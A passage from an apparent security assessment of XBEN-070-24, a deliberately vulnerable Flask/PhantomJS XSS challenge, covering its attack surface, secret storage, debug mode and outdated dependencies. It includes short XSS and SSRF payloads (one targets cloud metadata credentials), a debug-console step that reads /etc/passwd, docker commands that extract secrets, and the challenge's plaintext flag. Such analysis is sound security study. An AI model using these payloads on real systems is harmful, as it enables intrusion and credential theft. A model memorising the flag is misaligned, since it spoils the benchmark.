6. **Sanitize logs** - Redact sensitive data from application logs, implement structured logging with automatic PII filtering
7. **Secure temporary files** - Use `tempfile` module, create files outside web root, implement secure deletion
8. **Remove Docker layer secrets** - Mount secrets at runtime via volumes or Docker/Kubernetes secrets, never embed in image layers

---

## 5. Attack Surface Analysis

The XBEN-070-24 application exposes a minimal but highly vulnerable attack surface consisting of two primary HTTP endpoints plus automatic static file serving, all accessible without authentication. From an external attacker's perspective on the public internet, this attack surface presents multiple critical exploitation opportunities.

**External Entry Points (Network-Accessible)**

**Entry Point 1: Home/Index Page**
- **Route:** `GET /`
- **File Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-070-24/src/app.py` lines 29-31
- **Handler Function:** `index()`
- **Authentication Required:** None (Public)
- **Input Parameters:** None
- **Response Type:** HTML content (INDEX_CONTENT from constants.py)
- **Attack Surface Analysis:** This endpoint serves static HTML content from the `constants.py` template without accepting user input. It presents minimal direct attack surface but provides reconnaissance value to attackers by revealing application structure, available challenges, and navigation links. The HTML content includes links to the challenge pages and describes the application's purpose. **Security Implication:** Information disclosure enables attackers to understand the application architecture and identify target endpoints for exploitation. No input validation is required as no input is accepted. No rate limiting exists, allowing unlimited reconnaissance requests.

**Entry Point 2: XSS Challenge Page Handler (PRIMARY ATTACK VECTOR)**
- **Route:** `POST /page` and `GET /page`
- **File Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-070-24/src/app.py` lines 66-73
- **Handler Function:** `page_handler()`
- **Authentication Required:** None (Public)
- **Input Parameters:**
  - **Parameter Name:** `solution` (form parameter)
  - **Parameter Type:** String (unlimited length, no validation)
  - **Access Method:** `request.form.get('solution', '')`
  - **Validation:** **NONE** - Direct string formatting without sanitization
  - **Security Implication:** Critical XSS vulnerability
- **Response Type:** HTML content with embedded user input and flag (if XSS successful)
- **Attack Surface Analysis:** This is the **primary attack vector** for the entire application. The endpoint accepts arbitrary user input via the `solution` POST parameter and processes it through the following vulnerable data flow:

  1. **Input Extraction (Line 68):** `msg = request.form.get('solution','')` - Accepts unlimited-length string with no type validation, length limits, or character filtering
  
  2. **Unsafe Formatting (Line 69):** `value = "" if msg == "" else '> {0}'.format(msg)` - User input formatted directly into string without HTML encoding, escaping, or sanitization
  
  3. **Template Injection (Line 71):** `data = CHALLENGE_CONTENT_POST.format("8", "Circle", value, "", "")` - User-controlled value injected into HTML template at position {2}, which renders as: `<input type=text name=solution placeholder="Enter solution..." {2}>` in the HTML output
  
  4. **Filesystem Write (Lines 38-40 in check_page function):** User-controlled HTML is written to a temporary file in the web-accessible `static/` directory with filename pattern `static/[32_random_hex_chars].html`
  
  5. **Server-Side Execution (Lines 34-45):** PhantomJS subprocess loads and renders the user-controlled HTML, executing any injected JavaScript
  
  6. **Flag Disclosure (Line 56):** If PhantomJS detects `alert('XSS')`, the application responds with: `Here is the flag: {flag}` where {flag} is the CTF flag from secret.txt

**Trust Relationships and Security Assumptions:**

The application makes several dangerous security assumptions:

1. **Assumption:** User input can be safely embedded in HTML via string formatting
   - **Reality:** This creates reflected XSS in HTML attribute context (input tag attributes)
   - **Trust Boundary Violation:** User input (untrusted) crosses directly into HTML rendering (trusted context) without validation

2. **Assumption:** PhantomJS sandbox provides isolation from the server
   - **Reality:** PhantomJS can access internal networks, localhost services, and cloud metadata endpoints
   - **Trust Boundary Violation:** User-controlled HTML (untrusted) executed in PhantomJS (trusted server-side context) enables SSRF

3. **Assumption:** Random filenames prevent unauthorized access to temporary files
   - **Reality:** Files exist in web-accessible directory during processing, creating race condition window
   - **Trust Boundary Violation:** User-controlled content (untrusted) written to web-accessible directory (public trusted zone)

4. **Assumption:** Debug mode is only for development
   - **Reality:** Debug mode exposes Werkzeug interactive debugger with code execution capabilities
   - **Trust Boundary Violation:** External network (untrusted) to application internals (trusted) via debug console

**Internal Service Communication (Server-Side)**

**PhantomJS Subprocess Communication:**
- **Communication Method:** Unencrypted stdin/stdout pipes
- **Trust Relationship:** Flask application (parent process) spawns PhantomJS (child process) via `subprocess.Popen(["timeout","5","phantomjs", "check.js"])` at line 34
- **Data Flow:** User-controlled URL passed via stdin at line 43: `proc.stdin.write(url)`
- **Security Assumptions:** PhantomJS will only access localhost URLs for temporary files
- **Actual Capability:** PhantomJS can access any URL including internal networks, cloud metadata (169.254.169.254), and external internet
- **Trust Boundary Violation:** The application assumes PhantomJS operates in a restricted sandbox, but PhantomJS has full network access from the server's perspective
- **Security Implication:** SSRF vulnerability where attackers can inject HTML tags (`<img>`, `<script>`, `<iframe>`) that cause PhantomJS to make arbitrary HTTP requests to internal services, bypassing network segmentation

**Localhost Services Access:**
PhantomJS operates from within the Docker container and can access:
- Other Docker containers on the same bridge network
- Localhost services (127.0.0.1) on any port
- Cloud provider metadata endpoints (AWS: 169.254.169.254, GCP: metadata.google.internal, Azure: 169.254.169.254)
- Internal IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
- DNS resolution for internal hostnames

**Input Validation Patterns (CRITICALLY INSUFFICIENT)**

**Validation Analysis by Entry Point:**

1. **`/` endpoint:** No input accepted, validation not applicable

2. **`/page` endpoint:** 
   - **Validation Implemented:** **NONE for user input**
   - **Code Evidence (Line 68):** `msg = request.form.get('solution','')` accepts any string without validation
   - **No length limits:** Accepts unlimited input (could enable DoS via large payloads)
   - **No type checking:** No validation that input is a string vs. list/dict
   - **No character allowlisting:** Accepts all Unicode characters including <, >, ", ', script tags, etc.
   - **No pattern matching:** No regex validation for expected payload format
   - **No content sanitization:** No HTML encoding, no JavaScript stripping, no tag removal

**Exception - Partial Output Encoding:**
At line 58, there is ONE instance of output encoding:
```python
data = '<div class="solution-text">...<br>Oops! You did an alert with {1} instead of "XSS"</div>'.format(IMAGE_ROUTES[tag]['process'], cgi.escape(result))
```
This encodes the PhantomJS output (`result`) but does NOT encode user input (`msg`), creating an inconsistent security model where some outputs are protected but the primary user input vector is not.

**Attack Vectors Enabled by Lack of Validation:**

1. **Reflected XSS:** Inject `" onload="alert('XSS')"` to break out of HTML attribute context
2. **Stored XSS (temporary):** Payload written to temporary file, accessible during processing window
3. **SSRF via HTML Injection:** Inject `><img src="http://169.254.169.254/latest/meta-data/iam/security-credentials/">` to access AWS metadata
4. **SSRF port scanning:** Inject image tags with varying internal IP:port combinations to enumerate services
5. **CSRF:** No CSRF tokens, allowing cross-site form submission from malicious websites
6. **DoS:** Submit extremely large payloads to exhaust memory/disk space

**Background Processing (Subprocess Execution)**

**PhantomJS Validation Process:**
- **Trigger:** Every POST request to `/page` spawns a new PhantomJS process
- **Execution Context:** Server-side subprocess with full network access
- **Timeout Mechanism:** 5-second timeout via `timeout` command (limits exposure but doesn't prevent exploitation)
- **File Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-070-24/src/check.js` (49 lines)
- **Process:** 
  1. PhantomJS creates webpage instance at line 6 of check.js
  2. Reads URL from stdin at line 4: `var input = system.stdin.readLine();`
  3. Opens URL at line 20: `page.open(input, function(status) {...}`
  4. Evaluates page content and captures JavaScript dialogs (alert/confirm/prompt) at lines 8-18
  5. Returns result ("XSS" or actual alert message) via stdout

**Privilege Model:**
PhantomJS runs with the same privileges as the Flask application process (non-root within Docker container, but with network access). This creates a privilege escalation vector where user-controlled HTML executed in PhantomJS context can access resources that should be restricted to server processes only (internal networks, localhost services, cloud metadata).

**Security Implications:**
- **Resource Exhaustion:** No rate limiting on PhantomJS spawning - attackers can submit multiple requests to spawn numerous PhantomJS processes
- **Process Injection:** While current implementation uses safe list-style subprocess calls, future modifications could introduce command injection
- **Network Abuse:** PhantomJS can be weaponized for internal network reconnaissance, port scanning, and data exfiltration via SSRF
- **Information Disclosure:** PhantomJS error messages and network timeouts reveal information about internal infrastructure

**Static File Serving (Implicit Entry Point)**

**Route:** `GET /static/*`
**Base Path:** `/static/` served from filesystem location `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-070-24/src/static/`
**Authentication:** None (Public)
**Access Method:** Flask's default static file serving (no custom route definition, handled by Flask framework)

**Static Resources Include:**
- CSS files: `/static/css/style.css`, `/static/css/challenges/challenge*.css`
- Image files: `/static/img/*.png`, `/static/img/cookies/*.png`
- Font files: `/static/css/fonts/*.woff`, `*.woff2`, `*.otf`, `*.eot`
- Favicon: `/static/assets/fav-icon.png`
- **Temporary HTML files:** `/static/[random_32_hex].html` (created dynamically by check_page function)

**Security Analysis:**
1. **Directory Listing:** Flask default static serving does not enable directory listing (secure by default)
2. **Temporary File Race Condition:** User-generated HTML files exist briefly in this directory, creating potential information disclosure if attacker can guess/enumerate filenames
3. **MIME Type Sniffing:** No `X-Content-Type-Options: nosniff` header, allowing browser MIME type sniffing attacks
4. **No Path Traversal Protection Needed:** Flask's send_from_directory handles path traversal securely
5. **Cache Control:** No cache control headers set, could enable caching of sensitive temporary files

**Attack Vectors:**
- **Temporary File Access:** If attacker can predict random filename (requires defeating 16 bytes of os.urandom entropy = 2^128 possibilities, practically infeasible), they could access user-generated HTML during processing window
- **Timing Attack:** Submit payload, rapidly enumerate possible filenames during 5-second PhantomJS processing window
- **Error Message Mining:** Attempt to access non-existent static files to gather information from error messages (if debug mode reveals file paths)

**Comprehensive Attack Surface Summary**

**Total Network-Accessible Entry Points:** 3 (2 explicit routes + 1 static file route)

**Publicly Accessible:** All 3 entry points are public without authentication

**Input Vectors:**
1. **Form parameter:** `solution` on `/page` endpoint (PRIMARY ATTACK VECTOR)
   - Enables: Reflected XSS, Stored XSS (temporary), SSRF, CSRF
   - Severity: CRITICAL
   - Protection: None

**Output Vectors:**
1. **HTML Response:** User input reflected in HTML response without encoding
2. **Flag Disclosure:** CTF flag revealed in response if XSS successful
3. **Error Messages:** Debug mode enabled reveals stack traces and file paths

**Server-Side Execution Contexts:**
1. **PhantomJS:** User-controlled HTML executed in headless browser with network access
2. **Flask Debug Console:** If debug mode active, interactive Python shell accessible on exceptions

**Privilege Escalation Paths:**
1. **XSS → Client-Side Code Execution:** User input → HTML injection → JavaScript execution in victim browsers
2. **SSRF → Internal Network Access:** User input → HTML injection → PhantomJS → Internal HTTP requests
3. **Debug Mode → Remote Code Execution:** Trigger exception → Access debug console → Execute arbitrary Python code

**Network Surface Exposure:**
- **Ports Exposed:** TCP 5000 (HTTP) mapped to random host port via docker-compose (currently 35947 in testing environment)
- **Protocol:** HTTP (no HTTPS/TLS)
- **Binding:** 0.0.0.0 (all interfaces)
- **Firewall:** None at application layer (relies on host firewall/Docker port mapping)

**Conclusion:** This attack surface, while minimal in the number of endpoints, presents multiple critical vulnerabilities due to the complete absence of input validation, output encoding, authentication, and security controls. The primary attack vector (`solution` parameter on `/page` endpoint) provides direct paths to XSS exploitation, SSRF attacks against internal networks, and CTF flag extraction. An external attacker requires no privileged access or credentials to exploit these vulnerabilities - only the ability to send HTTP POST requests to the exposed port.

---

## 6. Infrastructure & Operational Security

**Secrets Management: CRITICAL VULNERABILITIES**

The application implements fundamentally insecure secret management practices that would be catastrophic in any production environment. The CTF flag, which represents the application's primary sensitive asset, is handled through multiple insecure storage mechanisms.

**Secret Storage Mechanisms:**

1. **Version Control Exposure (CRITICAL):**
   - **Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-070-24/.env` (line 1)
   - **Content:** `FLAG="flag{b74b5516-3dc3-491e-8680-a01ab52b756c}"`
   - **Security Implications:** The `.env` file containing the plaintext flag is committed to version control. This creates permanent exposure in git history even if the file is later removed or the flag is rotated. Anyone with access to the repository (including historical commits) can extract the flag. This violates OWASP secret management guidelines and CIS Docker benchmarks.
   - **Attack Vector:** Attackers who gain read access to the git repository (via exposed `.git` directory, compromised developer credentials, or public repository) can extract secrets from the entire commit history using `git log -p`, `git-secrets`, or TruffleHog.

2. **Docker Build Arguments (HIGH RISK):**
   - **Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-070-24/docker-compose.yml` (line 6)
   - **Mechanism:** `args: - FLAG` passes the FLAG environment variable from `.env` to Docker build context
   - **Security Implications:** Build arguments are visible in Docker image metadata and can be extracted using `docker history <image>` even without running the container. Build arguments are intended for build-time configuration, not secrets.
   - **Attack Vector:** Attackers with access to the Docker image (pulled from registry, found on compromised host, or extracted from container) can execute `docker history xben-070-24_web` to reveal the FLAG value in the build layer history.

3. **Container Image Layer Embedding (CRITICAL):**
   - **Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-070-24/src/Dockerfile` (lines 23-25)
   - **Code:**
     ```dockerfile
     ARG FLAG
     RUN sed -i s/@FLAG@/$FLAG/g secret.txt
     ```
   - **Security Implications:** The `RUN sed` command executes during image build and embeds the flag directly into the container filesystem in a new image layer. This layer becomes part of the immutable image and is distributed with every container deployment. The flag can be extracted by unpacking the image layers or inspecting the image filesystem.
   - **Attack Vector:** Attackers can extract image layers using `docker save <image> | tar -xvO` and search for secret.txt, or they can run `docker run -it <image> cat /python-docker/secret.txt` to read the embedded secret.

4. **Plaintext File Storage (HIGH RISK):**
   - **Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-070-24/src/secret.txt`
   - **Content:** `@FLAG@` (placeholder replaced during build with actual flag)
   - **File Permissions:** 644 (world-readable within container)
   - **Security Implications:** The flag is stored in plaintext with read permissions for any process in the container. No encryption at rest, no access controls beyond basic file permissions, and no audit logging of file access.
   - **Attack Vector:** Any vulnerability that provides file read access (directory traversal, arbitrary file read, container escape) immediately exposes the flag.

5. **In-Memory Plaintext (MEDIUM RISK):**
   - **Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-070-24/src/app.py` (line 22)
   - **Code:** `flags = open('secret.txt').read().split()`
   - **Security Implications:** The flag is loaded into Python process memory at application startup and remains in memory for the lifetime of the process. It can be extracted via memory dumps, `/proc/<pid>/mem` access (if attacker has container access), or core dumps triggered by application crashes.
   - **Attack Vector:** Attackers who achieve code execution (via debug console RCE or other vulnerabilities) can access the `flags` variable directly or dump process memory.

**Secret Rotation:**
- **Status:** NO ROTATION MECHANISM
- **Implications:** Once the flag is compromised, there is no mechanism to rotate it without rebuilding the entire Docker image and redeploying. No versioning of secrets, no gradual rollover, and no automated rotation schedules.

**Better Alternatives for Secret Management:**
- **Docker Secrets (Swarm mode):** Store secrets in encrypted Raft log, mount as tmpfs in containers at `/run/secrets/`
- **Kubernetes Secrets:** Store in etcd with encryption at rest, mount as volumes or environment variables with RBAC controls
- **HashiCorp Vault:** Centralized secret management with dynamic secrets, lease management, and audit logging
- **AWS Secrets Manager / Azure Key Vault / GCP Secret Manager:** Cloud-native secret management with automatic rotation, versioning, and IAM integration
- **Runtime Volume Mounts:** Mount secrets at runtime from secure storage, never embed in images

**Configuration Security: MULTIPLE CRITICAL MISCONFIGURATIONS**

**Flask Application Configuration (CRITICAL - Debug Mode Enabled):**

**Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-070-24/src/app.py` (lines 24-25, 77)

**Current Configuration:**
```python
app = Flask(__name__)
app.config['PROPAGATE_EXCEPTIONS'] = True  # Line 25
# ... application code ...
app.run(debug=True)  # Line 77 - CRITICAL VULNERABILITY
```

**Security Implications of Debug Mode:**
1. **Interactive Debugger (RCE):** Werkzeug debugger provides an interactive Python shell accessible via browser when exceptions occur. Attackers can trigger exceptions (easily done via malformed input) and execute arbitrary Python code in the debugger console.
2. **Detailed Error Messages:** Stack traces reveal file paths, source code snippets, variable values, and internal application structure, providing reconnaissance information to attackers.
3. **Auto-reloader:** File watcher monitors for code changes and automatically restarts the application, creating timing windows for race conditions.
4. **Source Code Disclosure:** Error pages display source code context around exception locations.

**Attack Scenario:**
1. Attacker submits malformed input to trigger an exception (e.g., extremely large payload, malformed form data)
2. Flask returns 500 error page with interactive debugger
3. Attacker opens debugger console by clicking the console icon next to each stack frame
4. Attacker executes arbitrary Python code: `import os; os.system('cat /etc/passwd')`
5. Attacker gains remote code execution within the container context

**Environment Separation:**
- **Status:** NO ENVIRONMENT DETECTION
- **Issue:** Application always runs with `debug=True` regardless of deployment environment
- **Missing:** No check for `FLASK_ENV`, `FLASK_DEBUG`, or custom environment variables
- **Implication:** If this code is deployed to production (even accidentally), the debug mode vulnerabilities remain active

**Docker Environment Configuration (CRITICAL):**

**Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-070-24/src/Dockerfile` (lines 13-14)

**Configuration:**
```dockerfile
ENV QT_QPA_PLATFORM=offscreen  # PhantomJS display config
ENV OPENSSL_CONF=/dev/null     # DISABLES OpenSSL configuration
```

**Critical Issue - OpenSSL Configuration Disabled:**
- **Security Implications:** Setting `OPENSSL_CONF=/dev/null` completely disables OpenSSL configuration file processing. This can bypass security policies including cipher restrictions, certificate verification requirements, and protocol version constraints. While this may be intended to work around PhantomJS compatibility issues, it creates a systemwide security weakness.
- **Affected Components:** Any component using OpenSSL (potentially including Python's SSL module, urllib, requests library if upgraded, and PhantomJS itself)
- **Attack Vector:** If the application makes any HTTPS requests (currently it doesn't, but future modifications might), certificate validation could be weakened or disabled, enabling man-in-the-middle attacks.

**Dockerfile Security Issues:**

1. **Outdated Base Image (CRITICAL):**
   - Line 2: `FROM python:2.7.18-slim`
   - Python 2.7 reached end-of-life January 1, 2020 - no security updates for 5+ years
   - Base image uses deprecated Debian Buster (lines 4-6 configure `archive.debian.org`)

2. **Running as Root (HIGH):**
   - No `USER` directive in Dockerfile
   - Application runs as root within container (UID 0)
   - Container breakout vulnerabilities would grant root access on host

3. **Build-time Secret Injection (CRITICAL - already discussed):**
   - Lines 23-25 embed secrets in image layers

4. **No Resource Limits:**
   - No `--memory`, `--cpus` constraints in docker-compose.yml
   - PhantomJS processes can exhaust host resources

**External Dependencies: CRITICALLY OUTDATED AND VULNERABLE**

**Dependency Manifest:**
- **Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-070-24/src/requirements.txt`
- **Dependencies:**
  ```
  Flask==1.1.4
  phantomjs
  ```

**Flask 1.1.4 Security Analysis:**
- **Release Date:** April 2021 (current stable: Flask 3.x as of 2024)
- **Version Gap:** 2+ major versions behind
- **Known Vulnerabilities:** Multiple CVEs addressed in Flask 2.x and 3.x series
- **Security Patches Missing:** Session handling improvements, security header support, CSRF protection enhancements
- **Python 2 Constraint:** Flask 1.1.4 is the last version supporting Python 2.7

**PhantomJS Security Analysis (CRITICAL):**
- **Project Status:** ABANDONED - last release was March 2016, project archived January 2018
- **No Security Updates:** 7+ years without patches
- **Known CVEs:**
  - **CVE-2019-17221:** Arbitrary file read via file:// URLs - allows PhantomJS to read sensitive files from server filesystem
  - **CVE-2018-11574:** XSS vulnerability in page rendering - malicious pages can escape sandbox
  - **CVE-2018-6390:** Remote code execution via crafted web pages
  - **CVE-2017-18030:** Memory corruption in WebKit engine
- **Unmaintained WebKit Engine:** Uses outdated QtWebKit with hundreds of unpatched vulnerabilities
- **Security Implications:** PhantomJS processes user-controlled HTML, making these CVEs directly exploitable. Attackers can craft HTML payloads that trigger file reads, code execution, or sandbox escapes within the PhantomJS process.

**Python 2.7.18 Vulnerabilities:**
- **CVE-2021-3177:** Buffer overflow in ctypes/libffi (no patch available)
- **CVE-2020-27619:** eval() arbitrary code execution
- **CVE-2020-8492:** Python urllib Regular Expression Denial of Service
- Hundreds of other unpatched vulnerabilities since EOL

**Debian Buster Security:**
- **Status:** Entered Long-Term Support (LTS) in 2022, full EOL in 2024
- **Repository:** Uses `archive.debian.org` (lines 4-6 of Dockerfile) indicating deprecated status
- **Security Updates:** Limited or no security updates for packages

**Third-Party Service Integrations:**
- **Status:** NONE DETECTED
- The application has no external service dependencies (no database, no external APIs, no message queues, no cloud services)
- **Security Implication:** Reduces attack surface by eliminating third-party service vulnerabilities, but also means no distributed authentication, no centralized logging, and no external monitoring

**Monitoring & Logging: MINIMAL AND INSECURE**

**Logging Configuration:**

**Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-070-24/src/app.py` (lines 15-17)

**Code:**
```python
import logging
logging.basicConfig(level=logging.INFO)
```

**Security Analysis:**
- **Log Level:** INFO level logs general application events but may miss security-relevant DEBUG events
- **Log Destination:** Logs go to stdout/stderr (captured by Docker container logs)
- **Log Format:** Basic format with no structured logging (JSON), no correlation IDs, no request context
- **Log Rotation:** No rotation configured at application level (relies on Docker log driver)
- **Log Retention:** No defined retention policy

**Sensitive Data Logging (HIGH RISK):**

**Locations:** Lines 41-42, 46-47 of app.py

**Code:**
```python
print "Page:"
print page  # Line 42 - Logs entire HTML page including USER INPUT
print "Resultado:"
print result  # Line 47 - Logs PhantomJS execution result
```

**Security Implications:**
1. **User Input Logged:** The `page` variable contains the full HTML template with unescaped user input from the `solution` parameter. This means XSS payloads, potential sensitive data, and attacker reconnaissance attempts are logged in plaintext.
2. **No Sanitization:** No redaction of sensitive data before logging
3. **GDPR Compliance Risk:** If the application were to handle PII, logging it without user consent would violate GDPR Article 25 (data protection by design)
4. **Log Injection:** User input could contain log injection payloads (newlines, ANSI escape codes, JSON structure manipulation if logs are parsed)

**Security Event Visibility:**

**What IS Logged:**
- Application startup messages (Flask banner)
- HTTP request logs (via Flask/Werkzeug)
- User-submitted payloads (via print statements)
- PhantomJS execution results
- Python exceptions (if raised)

**What IS NOT Logged (Critical Gaps):**
- Authentication attempts (N/A - no auth)
- Authorization failures (N/A - no authz)
- Failed input validation (N/A - no validation)
- Rate limiting violations (N/A - no rate limiting)
- Suspicious activity patterns (repeated XSS attempts, enumeration, SSRF probes)
- Security header violations
- File access events (reading secret.txt, creating temporary files)
- PhantomJS network requests (SSRF attempts)
- Container security events

**Monitoring & Alerting:**
- **Status:** NOT IMPLEMENTED
- No application performance monitoring (APM)
- No security information and event management (SIEM) integration
- No intrusion detection system (IDS)
- No anomaly detection
- No alerting for security events
- **Docker Health Check:** Basic TCP connection check defined in docker-compose.yml (line 9-13) but only checks if port is open, not application security posture

**Log Access Control:**
- **Container Logs:** Accessible via `docker logs <container>` by anyone with Docker daemon access
- **No RBAC:** No role-based access control for log viewing
- **No Encryption:** Logs stored in plaintext on Docker host
- **No Audit Trail:** No logging of who accessed logs

**Security Recommendations for Infrastructure & Operational Security:**

**CRITICAL (Immediate):**
1. **Disable Debug Mode:** Set `FLASK_ENV=production`, `FLASK_DEBUG=False`, remove `debug=True` from app.run()
2. **Remove Secrets from Version Control:** Purge `.env` from git history, rotate compromised flag
3. **Fix OpenSSL Configuration:** Remove `ENV OPENSSL_CONF=/dev/null` from Dockerfile
4. **Upgrade Python:** Migrate to Python 3.11+ with active security support
5. **Replace PhantomJS:** Use maintained alternatives (Playwright, Selenium with modern browsers)

**HIGH (30 days):**
6. **Implement Secret Management:** Use Docker secrets, Kubernetes secrets, or Vault
7. **Run as Non-Root:** Add `USER` directive to Dockerfile with dedicated app user
8. **Implement Security Logging:** Log authentication, authorization, input validation failures
9. **Sanitize Logs:** Remove sensitive data from logs, implement redaction
10. **Update Dependencies:** Upgrade Flask to 3.x, audit and update all dependencies

**MEDIUM (90 days):**
11. **Implement Monitoring:** Deploy APM, SIEM integration, security alerting
12. **Configure Log Rotation:** Implement proper log retention policies
13. **Enable TLS/HTTPS:** Configure SSL termination at application or reverse proxy layer
14. **Implement Resource Limits:** Add memory/CPU constraints to containers
15. **Security Scanning:** Integrate container image scanning (Trivy, Snyk) into CI/CD

**Compliance Implications:**

**PCI DSS:**
- **Requirement 2.2:** Default passwords and security parameters - **FAIL** (debug mode, default configs)
- **Requirement 6.2:** Ensure all system components are protected from known vulnerabilities - **FAIL** (Python 2 EOL, PhantomJS abandoned)
- **Requirement 10.2:** Implement automated audit trails - **PARTIAL FAIL** (basic logging only)
- **Requirement 10.3:** Record audit trail entries - **FAIL** (missing critical security events)

**SOC 2:**
- **CC6.1 (Logical Access Controls):** **FAIL** - No authentication, no authorization
- **CC6.6 (Encryption):** **FAIL** - OpenSSL disabled, no TLS
- **CC6.7 (System Operations):** **FAIL** - Debug mode, outdated dependencies
- **CC7.2 (System Monitoring):** **FAIL** - Minimal logging, no monitoring

**Conclusion:** The infrastructure and operational security posture of this application is critically deficient across all dimensions: secrets management exposes sensitive data in version control and container images; configuration management enables remote code execution via debug mode and disables SSL verification; external dependencies are severely outdated with known critical CVEs; and monitoring/logging provides minimal security visibility while logging sensitive user input. While appropriate for a CTF challenge environment, this infrastructure would be catastrophically insecure in any production context.

---

## 7. Overall Codebase Indexing

The XBEN-070-24 codebase is a deliberately minimal and vulnerable Flask application organized as a monolithic Python 2.7 project with supporting frontend assets and containerization configuration. The codebase architecture prioritizes simplicity over security, with a total of approximately 330 lines of custom code across three primary source files: `app.py` (77 lines), `constants.py` (206 lines), and `check.js` (49 lines). The directory structure follows a standard Flask application layout with a `src/` directory containing all application code and a `static/` subdirectory for frontend assets (CSS, images, fonts).

The application's organization demonstrates a clear separation between backend logic (`app.py`), templating/configuration (`constants.py`), and client-side validation (`check.js`). The `app.py` file serves as the main application entry point, implementing Flask route handlers, the PhantomJS subprocess execution logic, and the core XSS validation mechanism. The `constants.py` file contains large multi-line strings defining HTML templates for various challenge pages, effectively serving as a template storage mechanism without using a proper templating engine like Jinja2. This architectural decision is significant from a security perspective because it necessitates manual string formatting via `.format()` calls, which is the root cause of the intentional XSS vulnerabilities. The `check.js` file is a standalone PhantomJS script written in JavaScript that operates independently from the Python codebase, communicating via stdin/stdout pipes to validate whether injected JavaScript executed successfully.

The build and deployment infrastructure uses Docker and Docker Compose for containerization, with a `Dockerfile` (27 lines) defining the container image build process and `docker-compose.yml` (14 lines) orchestrating the deployment. Build automation is partially delegated to a `Makefile` that includes an external `../common.mk` file (not present in the repository), suggesting this application is part of a larger multi-challenge CTF platform. The environment configuration follows a standard pattern with a `.env` file storing the FLAG secret (critically, in version control), though this is the only environment-specific configuration - there are no separate development/staging/production configurations.

The static asset organization within `src/static/` follows a conventional structure: `css/` for stylesheets (including `style.css` and `challenges/challenge*.css`), `img/` for images (including subdirectory `cookies/` with challenge-specific graphics), `css/fonts/` for web fonts (.woff, .woff2, .otf, .eot), and `assets/` for miscellaneous resources like favicons. Notably, this directory is also used at runtime to store temporary HTML files generated during XSS payload validation, mixing static design assets with dynamic user-generated content in the same directory tree - a security anti-pattern that creates potential for race conditions and unauthorized file access.

From a security component discoverability perspective, the codebase presents challenges due to its deliberate lack of security controls. There are no dedicated authentication, authorization, or security middleware modules to discover. Input validation is not centralized in a validator module but is instead absent (intentionally) at the point of use. The only security-relevant function is the `check_page()` function in `app.py` (lines 33-61), which handles the subprocess execution and temporary file management, but this function is itself a source of vulnerabilities rather than a security control. The absence of a `requirements-dev.txt`, `tests/` directory, or CI/CD configuration (`.github/workflows/`, `.gitlab-ci.yml`) indicates no automated testing or security scanning infrastructure.

The codebase uses several Python 2.7-specific patterns that impact security analysis: `reload(sys)` and `sys.setdefaultencoding('utf8')` at lines 19-20 of `app.py` modify global Python interpreter state (removed in Python 3), `print` statements without parentheses indicating Python 2 syntax, string `.encode('hex')` method (replaced by `.hex()` in Python 3), and `file.read().split()` without explicit encoding specifications. These patterns are markers for automated vulnerability scanners to identify the deprecated Python version.

Dependency management is minimal with only `requirements.txt` listing two dependencies (Flask 1.1.4 and phantomjs). There is no `requirements-dev.txt` for development dependencies, no `setup.py` or `pyproject.toml` for package metadata, and no dependency pinning beyond exact Flask version. The PhantomJS dependency is listed by name only without version specification, and the actual PhantomJS binary is installed via Debian package manager in the Dockerfile rather than Python package manager, creating a disconnect between Python dependencies and actual runtime dependencies.

Git repository structure analysis reveals the presence of `.env` in version control (a critical security anti-pattern), but appropriate `.gitignore` patterns are likely missing since the secret file is committed. The repository includes a `benchmark.json` file at the root level (not analyzed in detail but suggests this is part of a benchmarking or testing framework for CTF challenges). The presence of `Makefile` with include directive suggests a multi-repository structure where common build logic is shared across multiple challenge applications.

The impact on security component discoverability is significant: security analysts must understand that the *absence* of security components is itself the primary finding. There are no authentication middleware files to analyze, no authorization decorators to trace, no input validation modules to assess - the security analysis must focus on what is missing rather than what is misconfigured. The monolithic structure with only three source files makes complete code coverage straightforward (analysts can read the entire codebase in under an hour), but the lack of code organization means security controls (when added in future versions) would need to be implemented from scratch rather than by enhancing existing frameworks.

For penetration testers, the codebase organization reveals several reconnaissance opportunities: the `constants.py` file exposes the entire HTML structure and challenge descriptions, enabling attackers to understand the expected input format and validation logic; the `check.js` file reveals the PhantomJS alert detection mechanism, showing exactly how payloads will be evaluated; and the `Dockerfile` exposes the container environment including the OpenSSL configuration disablement and Python 2.7 usage. The Flask debug mode (line 77 of `app.py`) combined with the minimal error handling means that code structure and file paths will be revealed in error messages, assisting attackers in mapping the application internals.

In summary, the XBEN-070-24 codebase is organized as a minimal, monolithic Flask application with deliberate security deficiencies. The directory structure is conventional (src/, static/, docker config at root), the code organization is simple (3 source files, ~330 lines total), and the build/deployment infrastructure uses standard Docker practices (with critical security misconfigurations). The codebase prioritizes simplicity and vulnerability over security, security tooling, and enterprise patterns, making it suitable for its intended purpose (CTF challenge) but requiring complete architectural overhaul for any production use. Security component discoverability is straightforward not because components are well-organized, but because they are almost entirely absent.

---

## 8. Critical File Paths

All file paths are categorized by security relevance for downstream manual analysis and exploitation planning.

### Configuration
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-070-24/.env` - Environment variables (contains plaintext FLAG secret, committed to version control - CRITICAL)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-070-24/docker-compose.yml` - Container orchestration (exposes FLAG as build argument, port mapping configuration)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-070-24/src/Dockerfile` - Container image definition (Python 2.7 base image, OpenSSL configuration disabled, FLAG embedded in layers)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-070-24/src/secret.txt` - CTF flag storage file (plaintext, 644 permissions, embedded in container image)

